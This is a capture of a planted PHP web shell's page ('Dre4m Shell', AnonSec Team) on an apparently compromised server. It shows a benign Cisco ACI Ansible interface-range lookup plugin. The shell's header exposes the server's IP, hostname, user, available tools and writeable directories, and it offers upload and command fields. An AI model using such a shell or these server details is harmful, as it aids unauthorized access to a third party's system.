Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.12.151.11
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/ansible_collections/cisco/aci/plugins/lookup/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/lib/python3/dist-packages/ansible_collections/cisco/aci/plugins/lookup/interface_range.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-

# Copyright: (c) 2022, Akini Ross (@akinross) <akinross@cisco.com>
# GNU General Public License v3.0+ (see LICENSE or https://www.gnu.org/licenses/gpl-3.0.txt)

from __future__ import absolute_import, division, print_function

__metaclass__ = type

ANSIBLE_METADATA = {"metadata_version": "1.1", "status": ["preview"], "supported_by": "certified"}

DOCUMENTATION = """
    name: interface_range
    short_description: query interfaces from a range or comma separated list of ranges
    description:
      - this lookup returns interfaces from a range or comma separated list of ranges given to it
    notes:
      - duplicate interfaces from overlapping ranges will only be returned once
    options:
      _terms:
        description: comma separated strings of interface ranges
        required: True
"""

EXAMPLES = """
- name: "loop through range of interfaces"
  ansible.builtin.debug:
    msg: "{{ item }}"
  with_items: "{{ query('cisco.aci.interface_range', '1/1-4,1/20-25', '1/5', '1/2/3/8-10', '5/0-2') }}"
"""

RETURN = """
  _list:
    description: list of interfaces
    type: list
    elements: str
"""

import re

from ansible.errors import AnsibleError
from ansible.plugins.lookup import LookupBase


class LookupModule(LookupBase):
    def run(self, terms, **kwargs):
        interfaces = []
        errors = []

        for interface_range in ",".join(terms).replace(" ", "").split(","):
            if re.fullmatch(r"((\d+/)+\d+-\d+$)", interface_range):
                slots = interface_range.rsplit("/", 1)[0]
                range_start, range_stop = interface_range.rsplit("/", 1)[1].split("-")
                if int(range_stop) > int(range_start):
                    for x in range(int(range_start), int(range_stop) + 1):
                        interfaces.append("{0}/{1}".format(slots, x))
                else:
                    errors.append(interface_range)
            elif re.fullmatch(r"((\d+/)+\d+$)", interface_range):
                interfaces.append(interface_range)
            else:
                errors.append(interface_range)
        if errors:
            raise AnsibleError("Invalid range inputs, {0}".format(errors))

        # Sorted functionality for visual aid only, will result in 1/25, 1/3, 1/31
        # If full sort is needed leverage natsort package (https://github.com/SethMMorton/natsort)
        return sorted(set(interfaces))

Anon7 - 2022
AnonSec Team